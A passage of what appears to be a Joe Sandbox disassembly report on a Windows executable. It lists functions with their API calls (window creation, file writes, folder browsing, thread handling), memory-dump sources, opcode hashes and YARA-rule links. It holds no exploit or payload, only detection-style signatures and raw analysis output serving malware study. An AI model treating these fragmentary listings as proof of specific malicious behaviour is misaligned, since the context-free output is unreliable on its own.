                                                                                  • Instruction ID: e7601879cae5e26ed9c4f46374459fbcb7982be31dee43e66e8e889727de3951
                                                                                  • Opcode Fuzzy Hash: 2ab1992bfbf39856a5a7dba111a3cc4862fa1f22f04eab95b8f25578d2bf0e3f
                                                                                  • Instruction Fuzzy Hash: 384105736147054BF728CA28C8607EB7390AFD4304F49493FD89A87382C6F9E8C68689
                                                                                  Function 00410993 Relevance: .1, Instructions: 100COMMON
                                                                                  Download Yara Rule
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID:
                                                                                  • API String ID:
                                                                                  • Opcode ID: 6219c0534570dcc087454eb9247404a7b3db1bae580b6f203b5ef7fccfb18fab
                                                                                  • Instruction ID: c66b0092c88908efcb1f6d3c64bb4500893f1a226118266ab98ff54ab3bb9a2b
                                                                                  • Opcode Fuzzy Hash: 6219c0534570dcc087454eb9247404a7b3db1bae580b6f203b5ef7fccfb18fab
                                                                                  • Instruction Fuzzy Hash: B631D7726547054BE728C928C8A57EB7390BF94344F49493FC88A87382C6F9E9C6C289
                                                                                  Function 004109D9 Relevance: .1, Instructions: 82COMMON
                                                                                  Download Yara Rule
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID:
                                                                                  • API String ID:
                                                                                  • Opcode ID: 8f177ef76dc2d83bc780de5ca5247833b6fb957e59de742fcb7e95280a36d76d
                                                                                  • Instruction ID: 9975ed08cb8d88c562da0411d9d676463dde2a9787c448613e09b1fe69d496df
                                                                                  • Opcode Fuzzy Hash: 8f177ef76dc2d83bc780de5ca5247833b6fb957e59de742fcb7e95280a36d76d
                                                                                  • Instruction Fuzzy Hash: 0421C573754B054BE728896CC8953EB7390BFA4344F49493FC996873C1CAEAE9C5C284
                                                                                  Function 00408F69 Relevance: 65.0, APIs: 32, Strings: 5, Instructions: 270windowregistrymemoryCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                    • Part of subcall function 00408E58: wcslen.MSVCRT ref: 00408E64
                                                                                    • Part of subcall function 00408E58: HeapAlloc.KERNEL32(00000000,00000000,?,00408F81,?), ref: 00408E7A
                                                                                    • Part of subcall function 00408E58: wcscpy.MSVCRT ref: 00408E8B
                                                                                  • GetStockObject.GDI32(00000011), ref: 00408FB2
                                                                                  • LoadIconW.USER32 ref: 00408FE9
                                                                                  • LoadCursorW.USER32(00000000,00007F00), ref: 00408FF9
                                                                                  • RegisterClassExW.USER32 ref: 00409021
                                                                                  • IsWindowEnabled.USER32(00000000), ref: 00409048
                                                                                  • EnableWindow.USER32(00000000), ref: 00409059
                                                                                  • GetSystemMetrics.USER32(00000001), ref: 00409091
                                                                                  • GetSystemMetrics.USER32(00000000), ref: 0040909E
                                                                                  • CreateWindowExW.USER32(00000000,00000000,10C80000,-00000096,?,?,?,?,?), ref: 004090BF
                                                                                  • SetWindowLongW.USER32(00000000,000000EB,?), ref: 004090D3
                                                                                  • CreateWindowExW.USER32(00000000,STATIC,?,5000000B,0000000A,0000000A,00000118,00000016,00000000,00000000,00000000), ref: 00409101
                                                                                  • SendMessageW.USER32(00000000,00000030,00000001), ref: 00409119
                                                                                  • CreateWindowExW.USER32(00000200,EDIT,00000000,00000000,0000000A,00000020,00000113,00000015,00000000,0000000A,00000000), ref: 00409157
                                                                                  • SendMessageW.USER32(00000000,00000030,00000001), ref: 00409169
                                                                                  • SetFocus.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00409171
                                                                                  • SendMessageW.USER32(0000000C,00000000,00000000), ref: 00409186
                                                                                  • wcslen.MSVCRT ref: 00409189
                                                                                  • wcslen.MSVCRT ref: 00409191
                                                                                  • SendMessageW.USER32(000000B1,00000000,00000000), ref: 004091A3
                                                                                  • CreateWindowExW.USER32(00000000,BUTTON,00413080,50010001,0000006E,00000043,00000050,00000019,00000000,000003E8,00000000), ref: 004091CD
                                                                                  • SendMessageW.USER32(00000000,00000030,00000001), ref: 004091DF
                                                                                  • CreateAcceleratorTableW.USER32(?,00000002,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00409216
                                                                                  • SetForegroundWindow.USER32(00000000), ref: 0040921F
                                                                                  • BringWindowToTop.USER32(00000000), ref: 00409226
                                                                                  • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00409239
                                                                                  • TranslateAcceleratorW.USER32(00000000,00000000,?), ref: 0040924A
                                                                                  • TranslateMessage.USER32(?), ref: 00409259
                                                                                  • DispatchMessageW.USER32(?), ref: 00409264
                                                                                  • DestroyAcceleratorTable.USER32(00000000), ref: 00409278
                                                                                  • wcslen.MSVCRT ref: 00409289
                                                                                  • wcscpy.MSVCRT ref: 004092A1
                                                                                  • HeapFree.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004092B4
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: Window$Message$CreateSend$wcslen$Accelerator$HeapLoadMetricsSystemTableTranslatewcscpy$AllocBringClassCursorDestroyDispatchEnableEnabledFocusForegroundFreeIconLongObjectRegisterStock
                                                                                  • String ID: 0$BUTTON$D0A$EDIT$STATIC
                                                                                  • API String ID: 54849019-2968808370
                                                                                  • Opcode ID: d18335faca37df58a642912671a5e6e9ed3b5d57d2cc689f0dbf3b56ae086657
                                                                                  • Instruction ID: 83f6c24ff00e7acae504a8cc9f4403d446bfccf5cce4438541287e2077ea33a9
                                                                                  • Opcode Fuzzy Hash: d18335faca37df58a642912671a5e6e9ed3b5d57d2cc689f0dbf3b56ae086657
                                                                                  • Instruction Fuzzy Hash: 4E91A070648304BFE7219F64DC49F9B7FA9FB48B50F00893EF644A61E1CBB988448B59
                                                                                  Function 00401500 Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 335fileCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • WriteFile.KERNEL32(?,00000000,?,?,00000000,?), ref: 00401637
                                                                                    • Part of subcall function 0040DE80: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE86
                                                                                    • Part of subcall function 0040DE80: TlsGetValue.KERNEL32(0000000D), ref: 0040DE95
                                                                                    • Part of subcall function 0040DE80: SetLastError.KERNEL32(?), ref: 0040DEAB
                                                                                    • Part of subcall function 004057F0: wcsncmp.MSVCRT ref: 00405853
                                                                                    • Part of subcall function 004057F0: memmove.MSVCRT(00000000,00000000,?,00000000,00000000,?,?,-0000012C,?,?,004022A6,00000000,00000002,00000000,00000000,00417024), ref: 004058E1
                                                                                    • Part of subcall function 004057F0: wcsncpy.MSVCRT ref: 004058F9
                                                                                    • Part of subcall function 0040DEC0: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
                                                                                    • Part of subcall function 0040DEC0: RtlAllocateHeap.NTDLL(00940000,00000000,?), ref: 0040DEF9
                                                                                    • Part of subcall function 0040DEC0: RtlReAllocateHeap.NTDLL(00940000,00000000,?,?), ref: 0040DF1C
                                                                                    • Part of subcall function 0040A6C5: wcsncpy.MSVCRT ref: 0040A6E3
                                                                                    • Part of subcall function 0040A6C5: wcslen.MSVCRT ref: 0040A6F5
                                                                                    • Part of subcall function 0040A6C5: CreateDirectoryW.KERNELBASE(?,00000000), ref: 0040A735
                                                                                    • Part of subcall function 0040E020: wcslen.MSVCRT ref: 0040E037
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: AllocateErrorHeapLastValuewcslenwcsncpy$CreateDirectoryFileWritememmovewcsncmp
                                                                                  • String ID: $pA$&pA$.pA$2pA$2pA$2pA$6pA$6pA$6pA$fpA$fpA$fpA$fpA$fpA
                                                                                  • API String ID: 1295435411-3159487945
                                                                                  • Opcode ID: d3a3a63bc2a0b99ba5975a07e2b9f90fb8c3599d1eca8c8031e60196fdd81d10
                                                                                  • Instruction ID: b4e4a0b709d291d116e2253cfe1eb4aef96e8d0e4325569d50da54c09323f468
                                                                                  • Opcode Fuzzy Hash: d3a3a63bc2a0b99ba5975a07e2b9f90fb8c3599d1eca8c8031e60196fdd81d10
                                                                                  • Instruction Fuzzy Hash: E3B134B1504300AED600BBA1DD81E7F77A9EB88308F108D3FF544B61A2CA3DDD59966D
                                                                                  Function 00409355 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 116libraryloaderCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • CoInitialize.OLE32(00000000), ref: 00409373
                                                                                    • Part of subcall function 0040E3F0: TlsGetValue.KERNEL32(0000000D,\\?\,?,004096ED,00000104,?,?,?,00401BC5,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 0040E3FA
                                                                                  • memset.MSVCRT ref: 00409381
                                                                                  • LoadLibraryW.KERNEL32(SHELL32.DLL,?,?,0000000A), ref: 0040938E
                                                                                  • GetProcAddress.KERNEL32(00000000,SHBrowseForFolderW), ref: 004093B0
                                                                                  • GetProcAddress.KERNEL32(00000000,SHGetPathFromIDListW), ref: 004093BC
                                                                                  • wcsncpy.MSVCRT ref: 004093DD
                                                                                  • wcslen.MSVCRT ref: 004093F1
                                                                                  • CoTaskMemFree.OLE32(?), ref: 0040947A
                                                                                  • wcslen.MSVCRT ref: 00409481
                                                                                  • FreeLibrary.KERNEL32(00000000,00000000), ref: 004094A0
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: AddressFreeLibraryProcwcslen$InitializeLoadTaskValuememsetwcsncpy
                                                                                  • String ID: $0A$P$SHBrowseForFolderW$SHELL32.DLL$SHGetPathFromIDListW
                                                                                  • API String ID: 4193992262-92458654
                                                                                  • Opcode ID: 0c1c89229e1b22e48d7f066479dda1c34872fd3251ec2b755b1888499f20ca0d
                                                                                  • Instruction ID: 23f57ca1c929181bfbc58391faabb4ebc57556df945843c0c8e437b0019b5ca4
                                                                                  • Opcode Fuzzy Hash: 0c1c89229e1b22e48d7f066479dda1c34872fd3251ec2b755b1888499f20ca0d
                                                                                  • Instruction Fuzzy Hash: D3416471508704AAC720EF759C49A9FBBE8EF88714F004C3FF945E3292D77899458B6A
                                                                                  Function 00406310 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 275COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • wcsncpy.MSVCRT ref: 00406405
                                                                                    • Part of subcall function 0040E1E0: TlsGetValue.KERNEL32(0000000D,?,?,00405EC5,00001000,00001000,?,?,00001000,00402FE6,00000000,00000008,00000001,00000000,00000000,00000000), ref: 0040E1EA
                                                                                  • _wcsdup.MSVCRT ref: 0040644E
                                                                                  • _wcsdup.MSVCRT ref: 00406469
                                                                                  • _wcsdup.MSVCRT ref: 0040648C
                                                                                  • wcsncpy.MSVCRT ref: 00406578
                                                                                  • free.MSVCRT ref: 004065DC
                                                                                  • free.MSVCRT ref: 004065EF
                                                                                  • free.MSVCRT ref: 00406602
                                                                                  • wcsncpy.MSVCRT ref: 0040662E
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: _wcsdupfreewcsncpy$Value
                                                                                  • String ID: $0A$$0A$$0A
                                                                                  • API String ID: 1554701960-360074770
                                                                                  • Opcode ID: a2ec9853b1f56fd283991c6130850b28c29d3bdb2ca3b3670bd4453c3ae5a324
                                                                                  • Instruction ID: a3954b37eea6ac6c251c7ba509b6f2d99b081bbe67bc4aeebc7e0be9c04ba548
                                                                                  • Opcode Fuzzy Hash: a2ec9853b1f56fd283991c6130850b28c29d3bdb2ca3b3670bd4453c3ae5a324
                                                                                  • Instruction Fuzzy Hash: 30A1BD715043019BCB209F18C881A2BB7F1EF94348F49093EF88667391E77AD965CB9A
                                                                                  Function 00412082 Relevance: 19.6, APIs: 13, Instructions: 74memoryregistrythreadCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • TlsAlloc.KERNEL32(?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004), ref: 00412092
                                                                                  • InitializeCriticalSection.KERNEL32(00418688,?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000), ref: 0041209E
                                                                                  • TlsGetValue.KERNEL32(?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004), ref: 004120B4
                                                                                  • HeapAlloc.KERNEL32(00000008,00000014,?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000), ref: 004120CE
                                                                                  • EnterCriticalSection.KERNEL32(00418688,?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000), ref: 004120DF
                                                                                  • LeaveCriticalSection.KERNEL32(00418688,?,?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000), ref: 004120FB
                                                                                  • GetCurrentProcess.KERNEL32(00000000,00100000,00000000,00000000,?,?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000), ref: 00412114
                                                                                  • GetCurrentThread.KERNEL32 ref: 00412117
                                                                                  • GetCurrentProcess.KERNEL32(00000000,?,?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000), ref: 0041211E
                                                                                  • DuplicateHandle.KERNEL32(00000000,?,?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000), ref: 00412121
                                                                                  • RegisterWaitForSingleObject.KERNEL32(0000000C,00000000,0041217A,00000000,000000FF,00000008), ref: 00412137
                                                                                  • TlsSetValue.KERNEL32(00000000,?,?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000), ref: 00412144
                                                                                  • HeapAlloc.KERNEL32(00000000,0000000C,?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000), ref: 00412155
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: AllocCriticalCurrentSection$HeapProcessValue$DuplicateEnterHandleInitializeLeaveObjectRegisterSingleThreadWait
                                                                                  • String ID:
                                                                                  • API String ID: 298514914-0
                                                                                  • Opcode ID: 090f9e8ec264e5d12bc44ccd603b7065f48900f7029304d299a0ea3cd3686378
                                                                                  • Instruction ID: d80fd07e77255670f12a4e616af7295cf706cbaed93ad9a0fedfb01b657d880b
                                                                                  • Opcode Fuzzy Hash: 090f9e8ec264e5d12bc44ccd603b7065f48900f7029304d299a0ea3cd3686378
                                                                                  • Instruction Fuzzy Hash: 35211971644305FFDB119F64ED88B963FBAFB49311F04C43AFA09962A1CBB49850DB68
                                                                                  Function 00403275 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 176COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • GetWindowsDirectoryW.KERNEL32(00000000,00000800,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 00403302
                                                                                  • PathAddBackslashW.SHLWAPI(00000000,00000000,00000800,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 0040330B
                                                                                  • GetSystemDirectoryW.KERNEL32(00000000,00000800), ref: 0040342B
                                                                                  • PathAddBackslashW.SHLWAPI(00000000,00000000,00000800,00000000,00000800,00000000,00000000,00000000,00000800,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00403434
                                                                                    • Part of subcall function 0040DEC0: RtlReAllocateHeap.NTDLL(00940000,00000000,?,?), ref: 0040DF1C
                                                                                  • PathAddBackslashW.SHLWAPI(00000000,00000000,sysnative,00000000,00000000,00000000,00000000,00000800,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 0040333B
                                                                                    • Part of subcall function 0040DE80: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE86
                                                                                    • Part of subcall function 0040DE80: TlsGetValue.KERNEL32(0000000D), ref: 0040DE95
                                                                                    • Part of subcall function 0040DE80: SetLastError.KERNEL32(?), ref: 0040DEAB
                                                                                    • Part of subcall function 0040DEC0: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
                                                                                    • Part of subcall function 0040DEC0: RtlAllocateHeap.NTDLL(00940000,00000000,?), ref: 0040DEF9
                                                                                  • GetSystemDirectoryW.KERNEL32(00000000,00000800), ref: 00403468
                                                                                  • PathAddBackslashW.SHLWAPI(00000000,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 00403471
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: BackslashPath$Directory$AllocateErrorHeapLastSystemValue$Windows
                                                                                  • String ID: sysnative
                                                                                  • API String ID: 3406704365-821172135
                                                                                  • Opcode ID: e5455a9928b97281f132b1c2dd1bbabf065e779dbb70284d860f41b952fb8df8
                                                                                  • Instruction ID: 2364f58bb10a159e0aa11294c57d56a9f179ba7a21fd77f55822fae8b4f54734
                                                                                  • Opcode Fuzzy Hash: e5455a9928b97281f132b1c2dd1bbabf065e779dbb70284d860f41b952fb8df8
                                                                                  • Instruction Fuzzy Hash: F5514075518701AAD600BBB2CC82B2F76A9AFD0709F10CC3FF544790D2CA7CD8599A6E
                                                                                  Function 0040DA43 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 53librarysleeploaderCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • LoadLibraryW.KERNEL32(Kernel32.dll,00000000,00000000,00000000,00000004,00000000,0040D855,0041861C,0040D9E2,00000000,FFFFFFED,00000200,76ED5E70,00409E76,FFFFFFED,00000010), ref: 0040DA51
                                                                                  • GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 0040DA66
                                                                                  • FreeLibrary.KERNEL32(00000000,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040DA81
                                                                                  • InterlockedCompareExchange.KERNEL32(00000000,00000001,00000000), ref: 0040DA90
                                                                                  • Sleep.KERNEL32(00000000,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040DAA2
                                                                                  • InterlockedExchange.KERNEL32(00000000,00000002), ref: 0040DAB5
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: ExchangeInterlockedLibrary$AddressCompareFreeLoadProcSleep
                                                                                  • String ID: InitOnceExecuteOnce$Kernel32.dll
                                                                                  • API String ID: 2918862794-1339284965
                                                                                  • Opcode ID: 04ec49063c38c3d68cea197a5330db743d42037b633bf3bb84411c831da1e2b1
                                                                                  • Instruction ID: e7d3430369b103de8e34323ddaa6381870798cc52ac97d2691a1b23ef8b22f52
                                                                                  • Opcode Fuzzy Hash: 04ec49063c38c3d68cea197a5330db743d42037b633bf3bb84411c831da1e2b1
                                                                                  • Instruction Fuzzy Hash: A701B132748204BAD7116FE49C49FEB3B29EF42762F10813AF905A11C0DB7C49458A6D
                                                                                  Function 00409507 Relevance: 12.0, APIs: 8, Instructions: 50threadwindowCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • GetWindowThreadProcessId.USER32(?,00000000), ref: 00409511
                                                                                  • GetCurrentThreadId.KERNEL32 ref: 0040951F
                                                                                  • IsWindowVisible.USER32(?), ref: 00409526
                                                                                    • Part of subcall function 0040DB72: HeapAlloc.KERNEL32(00000008,00000000,0040D3EC,00418610,00000014,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000), ref: 0040DB7E
                                                                                  • GetCurrentThreadId.KERNEL32 ref: 00409543
                                                                                  • GetWindowLongW.USER32(?,000000EC), ref: 00409550
                                                                                  • GetForegroundWindow.USER32 ref: 0040955E
                                                                                  • IsWindowEnabled.USER32(?), ref: 00409569
                                                                                  • EnableWindow.USER32(?,00000000), ref: 00409579
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: Window$Thread$Current$AllocEnableEnabledForegroundHeapLongProcessVisible
                                                                                  • String ID:
                                                                                  • API String ID: 3383493704-0
                                                                                  • Opcode ID: 761db0cbe0c8efe4181c57131f09a45cb1cea28f7de62a6f083fb5992236dbff
                                                                                  • Instruction ID: 9be2ebae674c1fa36b8fc713cd4e728ef3198b0ad07c7790c0b3041e5f2a4f9d
                                                                                  • Opcode Fuzzy Hash: 761db0cbe0c8efe4181c57131f09a45cb1cea28f7de62a6f083fb5992236dbff
                                                                                  • Instruction Fuzzy Hash: A901B9315083016FD3215B769C88AABBAB8AF55750B04C03EF456D3191D7749C40C66D
                                                                                  Function 00408EB4 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • DestroyWindow.USER32(?), ref: 00408EED
                                                                                  • GetWindowLongW.USER32(?,000000EB), ref: 00408EFC
                                                                                  • GetWindowTextLengthW.USER32 ref: 00408F0A
                                                                                  • HeapAlloc.KERNEL32(00000000), ref: 00408F1F
                                                                                  • GetWindowTextW.USER32(00000000,00000001), ref: 00408F2F
                                                                                  • DestroyWindow.USER32(?), ref: 00408F3D
                                                                                  • UnregisterClassW.USER32 ref: 00408F53
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: Window$DestroyText$AllocClassHeapLengthLongUnregister
                                                                                  • String ID:
                                                                                  • API String ID: 2895088630-0
                                                                                  • Opcode ID: cc61bfd3fa705e2cc6efe011ffba927a9334bb0a4f310b6a0f05db5f7333bb42
                                                                                  • Instruction ID: dcdd979020c5d84d31bdac08dec077088d7257a56d77306a58cab45369b049af
                                                                                  • Opcode Fuzzy Hash: cc61bfd3fa705e2cc6efe011ffba927a9334bb0a4f310b6a0f05db5f7333bb42
                                                                                  • Instruction Fuzzy Hash: C611183110810ABFCB116F64ED4C9E63F76EB08361B00C53AF44592AB0CF359955EB58
                                                                                  Function 00409588 Relevance: 9.1, APIs: 6, Instructions: 68threadCOMMON
